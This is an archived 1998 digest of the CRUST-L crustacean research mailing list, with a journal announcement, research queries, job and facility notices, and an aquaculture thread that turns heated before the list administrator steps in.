BIOLOGICAL INVASIONS seeks to publish research papers from many disciplines, and we hope to achieve a broad representation from work done in freshwater, marine, and terrestrial systems. Research papers are welcome on the patterns and processes of biological invasions (including both human-mediated introductions and natural range expansions), the ecological consequences of invasions in terms of both interspecific interactions as well as alterations to community and ecosystem structure (such as energy flow modifications, biodiversity, and invasion-mediated extinction), the factors that influence inoculation, establishment, and persistence of invasions and the mechanisms that control the abundance and distribution of invasions. Papers are further encouraged on biogeography, invasion genetics, dispersal vectors, the evolutionary consequences of invasions, and analytical syntheses and overviews of invasive biotas. Also of interest are papers on the theoretical bases of biocontrol, and the release of genetically modified organisms, as these disciplines illuminate the science of biological invasions. Scholarly papers on management and policy issues as they relate to conservation programs and the global prevention or control of invasions are invited as well. Please note that, relative to biocontrol, a new journal (BIOCONTROL) is also being established by Kluwer, under the editorship of Jeff Waage. The Editor and the members of the Editorial Board will also consider proposals for devoting special issues, or a special section of an issue, to papers resulting from conferences or workshops on invasions. We also intend to have a section on ""Research Notes"", facilitating rapid publication of short papers on topics such as new techniques, the recording of remarkable new invasions, and so forth. The cover of the journal, which will begin as a quarterly, will have with each issue a new photograph (black-and-white, at the moment, unless funds are available for color production from the authors or their institutions) and thus provide an opportunity for workers to submit cover photos for each issues. There are no page charges, and the first 75 reprints are free. For Instructions to Authors, further technical information about the journal, and a free sample copy (available by December 1998 -- January 1999) please contact: Dr. Rene Mijs Kluwer Academic Publishers Dordrecht, The Netherlands email: rene.mijs@wkap.nl Please submit manuscripts to: Journal Editorial Office: Biological Invasions Kluwer Academic Publishers P. O. Box 990 3300 AZ Dordrecht The Netherlands For information about the scope of the journal and the suitability and types of papers being sought please contact me (address below). We are looking forward to a successful and we think very timely journal! Thank you, and my apologies again for multiple postings. James T. Carlton Editor-in-Chief, Biological Invasions Williams College -- Mystic Seaport P. O. Box 6000, 75 Greenmanville Avenue Mystic, Connecticut 06355 U.S.A. email: jcarlton@williams.edu telephone: 860 572 5359 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Gannon, Andrew T."" Date: Thu, 09 Apr 98 13:14:00 PDT Subject: CRUST-L: RE: Dr. Sandra Gilchrist e_address Dr. Sandra Gilchrist's e_address is gilchris@virtu.sar.usf.edu Cheers, Andy Andrew T. Gannon Assistant Professor INTERNET: agannon@bsc.edu Department of Biology VOICEMAIL: (205) 226-4899 Birmingham Southern College FAX: (205) 226-4627 BOX 549022 Birmingham AL 35254 http://panther.bsc.edu/~agannon/ ---------- From: owner-crust-l To: CRUST-L Subject: CRUST-L: e_address Date: Wednesday, April 08, 1998 3:29PM CRUSTers - Does anyone have a current e_address for Dr. Sandra Gilchrist, University of South Flordia at Sarsota? Merci David Dunham ---------------------------------------------------------------------------- --- David W. Dunham dunham@zoo.utoronto.ca Department of Zoology, University of Toronto Toronto, Canada Fax 416-978-8532 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. 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Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #134 ***************************** >From owner-crust-l Fri Apr 17 16:21:30 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id QAA11810 for crust-l-digest-outgoing; Fri, 17 Apr 1998 16:19:18 -0400 Date: Fri, 17 Apr 1998 16:19:18 -0400 Message-Id: <199804172019.QAA11810@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #135 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 9 crust-l-digest Friday, 17 April 1998 Volume 01 : Number 135 CRUST-L: formula of brine shrimp flake CRUST-L: Where is Mandapam Camp ?? CRUST-L: Where is Mandapam Camp ?? CRUST-L: Claw Evolution CRUST-L: Argentinean carcinologists CRUST-L: Position available (fwd) CRUST-L: Query re Formalin substitute CRUST-L: new website CRUST-L: ICC-4 CRUST-L: Aquaculture question CRUST-L: Varunid Recruitment [none] CRUST-L: Re: Reply Aquaculture question Re: CRUST-L: Re: Reply Aquaculture question Re: CRUST-L: Re: Reply Aquaculture question Re: CRUST-L: Re: Reply Aquaculture question ---------------------------------------------------------------------- From: wtctj@mail.zlnet.com.cn Date: Fri, 10 Apr 1998 08:57:16 +0800 Subject: CRUST-L: formula of brine shrimp flake The market for brine shrimp flake in Chinese aquaculture industry is about 400 tons per year. There is a great population of brine shrimp Artemia in China, especially in Tianjin region. The harvest of brine shrimp biomass in Tianjin is about 1,000 tons (fresh weight) in Tianjin. We plan to produce brine shrimp flake. So we are seeking the formula for brine shrimp flake production. Any information is much appreciated. Liu Fengqi =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Pablo J. Lopez-Gonzalez"" Date: Mon, 13 Apr 1998 12:53:49 +0000 Subject: CRUST-L: Where is Mandapam Camp ?? Hi all, I am looking for a type material deposited in the Central Marine Fisheries Research Station, Mandapam Camp by Ummerkutty. I will be very gratefull if somebody let me know the postal address, e-mail address or fax number of this institution. Thank you in advance for your help Pablo ********************************************* Dr. Pablo J. Lopez-Gonzalez Laboratorio de Biologia Marina Facultad de Biologia Universidad de Sevilla Aptdo. 1095 E-41080 Sevilla SPAIN ********************************************* Fax: +34-(9)54 55 71 00 Phone: +34-(9)54 23 49 04 E-mail: JLOPEZ@CICA.ES ********************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Pablo J. Lopez-Gonzalez"" Date: Mon, 13 Apr 1998 12:54:06 +0000 Subject: CRUST-L: Where is Mandapam Camp ?? Hi all, I am looking for a type material deposited in the Central Marine Fisheries Research Station, Mandapam Camp by Ummerkutty. I will be very gratefull if somebody let me know the postal address, e-mail address or fax number of this institution. Thank you in advance for your help Pablo ********************************************* Dr. Pablo J. Lopez-Gonzalez Laboratorio de Biologia Marina Facultad de Biologia Universidad de Sevilla Aptdo. 1095 E-41080 Sevilla SPAIN ********************************************* Fax: +34-(9)54 55 71 00 Phone: +34-(9)54 23 49 04 E-mail: JLOPEZ@CICA.ES ********************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Anna Fitch Date: Mon, 13 Apr 1998 14:29:40 -0800 Subject: CRUST-L: Claw Evolution Another notice from the Shape of Life. I'm very interested in stories, research or people working on claw evolution. Any input on this subject is much appreciated. Thank you very much. Anna Anna Fitch Sea Studios 810 Cannery Row Monterey, CA 93940 Tel: 408 649-5152 ext.105 Fax: 408 649-1380 email: annafitch@seastudios.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Gustavo A. Lovrich"" Date: Tue, 14 Apr 1998 11:20:54 ARG Subject: CRUST-L: Argentinean carcinologists Dear Crusters, This is a message to Argentinean carcinologists around the world and (or) people working on Crustacea in Argentina or probably distributed in Argentina. As occurs every year, Eduardo Spivak and me are compiling all the articles (primary, but very specially grey literature and citable reports) appeared in 1997, dealing with Crustacea distributed in Argentina OR those published by Argentinean carcinologists elsewhere. Please send me a message with the citation of the articles you know. Muchas gracias, Gustavo Dr. Gustavo A. Lovrich Centro Austral de Investigaciones Cientificas (CADIC) CC 92 - (9410) Ushuaia, Tierra del Fuego, ARGENTINA Tel: ++54-901-22310, 22314, 22278 34558 (home sweet home) FAX: ++54-901-30644 http://www.hq.satlink.com/ushuaia/cadic/ lovrich@satlink.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 15 Apr 1998 11:53:45 -0400 (EDT) Subject: CRUST-L: Position available (fwd) Please respond to Dave Bushek and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Date: Wed, 15 Apr 1998 09:33:56 -0400 From: David Bushek Subject: Position available Research Coordinator, North Inlet-Winyah Bay National Estuarine Research Reserve Applications are being accepted for the position of Research Coordinator at the North Inlet-Winyah Bay (NI-WB) NERR. The NI-WB Reserve is operated by the University of South Carolina through the Baruch InstituteUs Marine Field Laboratory in Georgetown. It is one of 22 sites in the nation comprising the NERR System. The Reserves are jointly funded by NOAA and state governments to conduct research and monitoring in estuaries and to provide information useful to coastal resource and ecosystem management. The Research Coordinator will be expected to: (1) oversee and expand a long-term, multi-disciplinary, coastal-estuarine monitoring program, (2) coordinate existing and promote new research activities at the site, (3) facilitate the use of scientific information for management purposes, (4) participate in education, research, and administration programs at the site, state, regional, and network levels, and (5) conduct independent research within the Reserve and seek external funding. Two additional responsibilities will be to: (6) develop a comprehensive site profile document and (7) analyze and interpret extant long-term databases. A Ph.D. degree with a background in ecology and a familiarity with coastal systems is required. Advanced knowledge in the use of computers and data (statistical) analysis and a demonstrated ability to present and publish results are necessary. Candidates with a commitment to field-based research and the application of scientific information to management issues will be favored. Strong organizational and communication skills are important. The position includes administrative responsibilities including supervision of technical staff. The appointment will be on an annual basis for at least three years. An appointment to the faculty of the Baruch Institute as a Research Assistant Professor will be considered. Salary will be commensurate with experience; the range is from $28,000 to $36,000 plus benefits. The term of the appointment may be from 9 to 12 months per year with the option of generating supplemental salary through independent grants. Applications should include a statement of interest, resume, and names of three potential references. We will begin reviewing applications on April 27. The position is available July 1, 1998. Please send materials to: Dr. Dennis M. Allen, Manager, North Inlet-Winyah Bay NERR, Baruch Marine Field Laboratory - USC, PO Box 1630, Georgetown, SC 29442. You may contact him at 803-546-3623 for more information. The University of South Carolina is an equal opportunity employer. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Dean Pasko Date: Wed, 15 Apr 1998 09:01:40 -0700 Subject: CRUST-L: Query re Formalin substitute Hello, I have heard of a new product called 'Normalin' that is alcohol based and is supposed to replace formalin. Has anyone heard of it or had any experience with it? Thanks Dean +++++++++++++++++++++++++++++++++++++++++ Dean Pasko City of San Diego, Marine Biology Lab 4918 N. Harbor Drive, Suite 101 San Diego, CA 92106 Ph (619) 692-4900 Fax: (619) 692-4902 email: dip@mwharbor.sannet.gov =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Raymond Bauer Date: Wed, 15 Apr 1998 16:45:19 -0500 Subject: CRUST-L: new website I have a website about my research that colleagues might find interesting: http://www.ucs.usl.edu/~rtb6933 - -- Raymond T. Bauer Research Website: http://www.ucs.usl.edu/~rtb6933 Professor of Biology Dept. of Biology University of Southwestern Louisiana Lafayette, Louisiana 70504-2451 USA email: rtbauer@usl.edu 318-482-6435 (phone) 318-482-5834 (fax) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: schram@BIO.UVA.NL (Frederick Schram) Date: Thu, 16 Apr 1998 08:40:47 +0100 Subject: CRUST-L: ICC-4 Could you please insert this item concerning ICC-4 business on the net. ________________________ FOURTH INTERNATIONAL CRUSTACEAN CONGRESS NEWS BRIEF As a follow-up to the announcement of last week, proper targeting for submission of final manuscripts needs to be clarified. Many of us have just managed to get our abstracts out and are now only beginning to think of registration and hotel needs. However, some of our more organized colleagues have already begun to submit manuscripts for consideration in the proceedings volumes of the congress that will come out next year. These too seem to be coming to Amsterdam, but to send them here only delays the log-in process and risks loss in the mails. We have to re-package them and send them on the chairman of the proceedings committee and chief-editor of the proceedings volumes, Dr. Carel von Vaupel Klein. Manuscripts for consideration in the ICC-4 proceedings volumes should be posted directly to him: Dr. Carel von Vaupel Klein National Natural History Museum Post Box 9517 NL-2300 RA Leiden The Netherlands _________________________________ ___________________________________________ Frederick R. Schram Professor of Systematics and Zoogeography Institute for Systematics and Population Biology University of Amsterdam Post Box 94766 NL-1090 GT Amsterdam Netherland phone +(31.20)525.6435 fax +(31.20)525-5402 e-mail schram@bio.uva.nl www.bio.uva.nl/onderzoek/cepa also check out: www.uva.nl/uva/aktueel/congres/crustacean.html ___________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Chris J. Higham"" Date: Thu, 16 Apr 1998 23:22:27 -0400 (EDT) Subject: CRUST-L: Aquaculture question Hello I have 114 acres of shallow (5-8 ft deep on average) bottom land (mostly sand/mud) on the west coast of Florida, some of which is being used to culture clams. I want to culture something else in the bottom land that is not being used (about 104 acres) which I can make a profit off of. Whether it is a food item (blue or stone crab) or something else, I am open for suggestions on possible uses for this bottom land. Any ideas or discussion would be greatly appreciated. Thanks Chris Higham =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Brent Newman zool Date: Fri, 17 Apr 1998 13:54:29 +0000 (SAST) Subject: CRUST-L: Varunid Recruitment Fellow Members We have been investigating several apsects of the recruitment of Varuna littorata here in South Africa. This crab lives in the lower reaches of rivers but has still retained a larval phase of development which occurs at sea. The recruitment of megalopae of this species is spectacular with thousands upon thousands of individuals clearly visible swimming through estuary mouths and upstream. At weirs and other impoundments in rivers huge masses of the megalopae can be found. The megalopae are by crabs standards very large which makes these events even more spectacular. I have several questions regarding varunid recruitment. Has anyone witnessed such intense recruitment for other varunid crabs? What about other crabs? Is there any literature available on such recruitment? I recall reading a paper on such recruitment and I think that it had to do with a Varuna spp, but I cannot trace the paper. Further, we hope to rear the larvae of this crab but are having some problems finding gravid females. There appear to be none in the freshwater regions of the rivers. I have captured several females swimming out of the mouths of estuaries but none of them have been gravid. Could these crabs have been leaving the estuary for the sea to extrude eggs? Is anyone aware of what type of habitat these crabs would extrude eggs and release larvae? I presume it would need to occur in the lower reaches of estuaries as the probable reason that the larvae leave estuaries is because the larvae are unable to tolerate the low salinities in these systems. Is anyone aware of any publications dealing with Varuna spp larvae? Jose Cuesta has informed me that as far as he is aware there is almost no information on the larval stages of the Varuna spp. I would also appreciate any leads to papers dealing with adult ecology and biology. Yours Brent Brent Newman Dept of Zoology University of Zululand Private Bag x 1001 KwaDlangezwa 3886 Kwazulu_Natal South Africa =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Gudmundur Vidir Helgason Date: Fri, 17 Apr 1998 14:22:43 +0100 Subject: [none] First Call for Proposals Access to the Large Scale Facility Sandgerdi Marine Centre The Sandgerdi Marine Centre in Iceland has been granted the status of Large Scale Facility under the TMR programme of the European Commission. The main attraction of the SMC is access to the unique collection of benthic invertebrates from the international BIOICE project (Benthic Invertebrates of Icelandic Waters) which has been operated since 1992. During this time more than 1000 composite samples have been systematically collected in Icelandic waters, at depths from 20 to 2400m. The collection of samples is still in progress. The initial stages of sorting have been carried out, providing an accessible array of most major taxa of benthic invertebrates. The SMC also offers access to a wet-lab with running seawater of exceptional quality. This seawater (constantly 9=B0C, salinity 32.05 PSU) originates= from a well at 50m depth in the lava-field and is totally contaminant-free.=20 The SMC is located in Sandgerdi, a small fishing village on the southwest coast of Iceland (50 km from the capital city, Reykjavik) with excellent facilities for work in a friendly atmosphere. The seashore around the lab harbours a great variety of shore organisms which are easily attainable during low tide (approximately 3.5 m tidal range). =20 For further information and application forms see our web site http://www.hi.is/pub/smc.=20 Scientists from CEC member states and associated states (Norway, Liechtenstein and Israel; Switzerland in negotiation) except from Iceland may submit proposals. Proposals for the first call should be sent as soon as possible, but by 31.05.1998 at the latest, to the Project Manager of The Sandgerdi Marine Centre (Gudmundur V. Helgason, Institute of Biology, University of Iceland, Grensasvegur 12, IS-108 Reykjavik, Iceland, E-mail: gudmvid@hi.is). =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Jack O'Brien"" Date: Fri, 17 Apr 1998 10:40:58 -0500 Subject: CRUST-L: Re: Reply Aquaculture question Dear Chris: Your question about how to use the 100 acres of Florida bottom land that you own and which ""is not being used"" is legitimate and reasonable. Please do not think that my reply is meant to be mean spirited, but having been a Peace Corps Volunteer in South East Asia and seen what mariculture activities do to natural wetlands ecosystems, my gut reaction to your question is one of spiritual pain. Using dozers to push up earth to entrap bodies of water in which fertilizer is dumped to grow algae which are eaten by harvestable animals such as crabs and fish causes irreversible damage to irreplaceable wetlands. I am not sure the profit margin on such operations in the U.S. would be large. You may not be able to compete. Most shrimp sold in the US is imported in from third world countries where the labor costs are low. Would it be possible to use of the property in way that would minimize habitat damage, such as a restaurant or burger-and-beer place utilizing the view to attract customers? Jack O'Brien =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""William A. Hayes"" Date: Fri, 17 Apr 1998 11:13:28 -0500 (CDT) Subject: Re: CRUST-L: Re: Reply Aquaculture question I might further suggest... use a small proportion of the land for something money making as Jack suggests and consider putting the rest of the land in some protective covenant with the government or a private organization. There are a number of programs which will either pay you for the protection of wetland habitat or provide you with tax benefits or both. This approach could turn out the best for all in the long run. Just a thought. > Best wishes, Bill - ---------------------------------------------------------------------------- William A. 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Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Thomas Powell Date: Fri, 17 Apr 1998 15:53:32 -0400 Subject: Re: CRUST-L: Re: Reply Aquaculture question Jack: get a grip and have an idea what you are talking about before you offer advice to someone. This is the United States that you live in. The country with the most advanced aquaculture systems in the world. You go get drunk and leave this list to professionals who know what they are talking about. How absurd that you have the .edu after your email address. And ""Peace Corps Volunteer in South East Asia"" qualifies you for nothing but a spoiled child that has recently joined an email list to disrupt a progressive industry that does not like to get its influence from those that have no idea of the industries of ""sustainable aquaculture"". Don't bother quoting me or anyone else on this list what you have seen in other countries. You know nothing, while you eat shrimp imported from other countries that destroy their land. Take a hike or stay in your beer bottle. no regards, Tom Powell - -- ****************************************************************************************** Thomas D. Powell Florida International Shrimp Harvesters 7002 Grevilla Avenue, South #10 South Pasadena, Florida 33707 (813) 381-5236 381-5246 Fax 529-7364 Pager shrimp@food4u.com topoco@ij.net Web sites: http://www.ij.net/topoco/ http://www.ij.net/topoco/fishforsale.htm http://www.ij.net/topoco/Helicopterpartsforsale.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 17 Apr 1998 16:18:35 -0400 (EDT) Subject: Re: CRUST-L: Re: Reply Aquaculture question Thomas, Jack, Chris, CRUSTers, Please quash this thread before it goes balistic, and take any further criticisms to private responses. Thank you. Jeff Shields List Administrator On Fri, 17 Apr 1998, Thomas Powell wrote: > Jack: get a grip and have an idea what you are talking about before you > offer advice to someone. This is the United States that you live in. > The country with the most advanced aquaculture systems in the world. > You go get drunk and leave this list to professionals who know what they > are talking about. How absurd that you have the .edu after your email > address. And ""Peace Corps Volunteer in South East Asia"" qualifies you > for nothing but a spoiled child that has recently joined an email list > to disrupt a progressive industry that does not like to get its > influence from those that have no idea of the industries of ""sustainable > aquaculture"". > > Don't bother quoting me or anyone else on this list what you have seen > in other countries. You know nothing, while you eat shrimp imported > from other countries that destroy their land. Take a hike or stay in > your beer bottle. > > no regards, > > Tom Powell > -- > ****************************************************************************************** > Thomas D. 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Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #135 ***************************** >From owner-crust-l Wed Apr 22 03:35:03 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id DAA02964 for crust-l-digest-outgoing; Wed, 22 Apr 1998 03:33:30 -0400 Date: Wed, 22 Apr 1998 03:33:30 -0400 Message-Id: <199804220733.DAA02964@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #136 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 10 crust-l-digest Wednesday, 22 April 1998 Volume 01 : Number 136 CRUST-L: Re: Varunid Recruitment CRUST-L: marbio: REQ:Any journal titles site on the web? RE: CRUST-L: Varunid Recruitment CRUST-L: Grants CRUST-L: Query abound cave crab CRUST-L: Russian Concerts - Aquarium and Auktyon CRUST-L: Marine Large Scale Facility in Sweden CRUST-L: Commercially available myosins from Crustacea?? CRUST-L: Test, delete CRUST-L: toxic crusties Re: CRUST-L: toxic crusties CRUST-L: panic mating? ---------------------------------------------------------------------- From: Chaoshu Zeng Date: Sat, 18 Apr 1998 12:54:54 --900 Subject: CRUST-L: Re: Varunid Recruitment Dear Brent, Though I have not directly witnessed intense recruitment as you described for varunid crabs, such phenomenon appears to be very common among crab species. Apart from those reported in literature, I myself wintnessed such phenomenon for various species during field samplings. It seems to be the result of crab megalopae perform synchronized active swmming at certain time of tidal cycles to ride on onshore (or upstream) flows of flood tides for recruitment, such phenomenon also known as Selective tidal Stream Transport (I felt that in coastal waters, apart from tidal currents, megalopae may also use similar machenism to utilize other predictable flows generated by different physical forces). This has been well documented in estuarine crab megalopae and you may refer to some recent publications and literatures cited in those papers for more details. De Vries MC et al (1994) Abundance of estuarine crab larvae is associated with tidal hydrologic variables. Mar Biol 118:403-413 Zeng C & Naylor E (1996) Occurrence in coastal waters and endogenous tidal swimming rhythms of late megalopae of shore crab Carcinus: implications for onshre recruitment. Mar Ecol Prog Ser 136:69-79 As to your second question about ovigerous crab, you may right that your crab migrates to sea for spawning. Such phenomenon has been reported in commercially important crab Scylla serrata and Carcinus (to less extent, migrate to lower esutary for spawning): Hill, B-J (1994) Offshore spawning by the portunid crab Scylla serrata (Crustacea: Decapoda). Mar Biol 120(3): 379-385 Queiroga H et al (1994) Larval abundance patterns of Carcinus in Canal de Mira. Mar Ecol Prog Ser 111:63-72 Besides salinity reasons, the fundamentally course for such offshore spawning may rest on avoidance of planktivorous fishes which aboundance in estuaries. You could refer to Morgan's papers if you are interested. Morgan SG & Christy JS (1997) Planktivorous fishes as selective agents for reproductive synchrony. Journal of Experimental Marine Biology and Ecology 209(1-2): 89-101 Morgan SG (1987) Adaptive significance of hatching rhythms and dispersal patterns of estuarine crab 